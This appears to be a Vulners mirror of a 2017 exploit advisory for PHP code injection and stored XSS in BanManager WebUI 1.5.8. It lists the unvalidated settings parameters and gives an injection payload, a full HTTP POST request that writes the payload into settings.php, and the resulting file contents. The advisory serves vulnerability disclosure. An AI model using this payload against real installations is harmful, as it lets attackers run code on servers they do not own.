Lucene search
K

BanManager WebUI 1.5.8 Code Injection / Cross Site Scripting

🗓️ 11 May 2017 00:00:00Reported by HaHwulType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 40 Views

BanManager WebUI 1.5.8 Code Injection / Cross Site Scripting vulnerability in PH

Code
`BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS  
  
# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS  
# Date: 2017-05-10  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI  
# Software Link: https://github.com/BanManagement/BanManager-WebUI.git  
# Version: 1.5.8  
# Tested on: Debian  
  
### Vulnerability  
Code executed via the updatesetting action will modify 'setting.php'.  
In the process, there is not verification of the input value, so it is possible to insert php code.  
  
### Vulnerable param  
PHP Code Injection & Stored XSS  
- footer  
- buttons_before  
- buttons_after  
  
Only PHP Code Injection  
- banextra  
- muteextra  
  
### Attack code  
PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';  
  
POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin  
Content-Length: 168  
Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7  
DNT: 1  
Connection: keep-alive  
  
type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=  
  
  
### Result(in settings.php)  
$settings['password'] = 'asdf'; // ACP Password (Keep it strong)  
$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';  
$settings['admin_link'] = true; // Show the admin link in the footer of all page  
$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation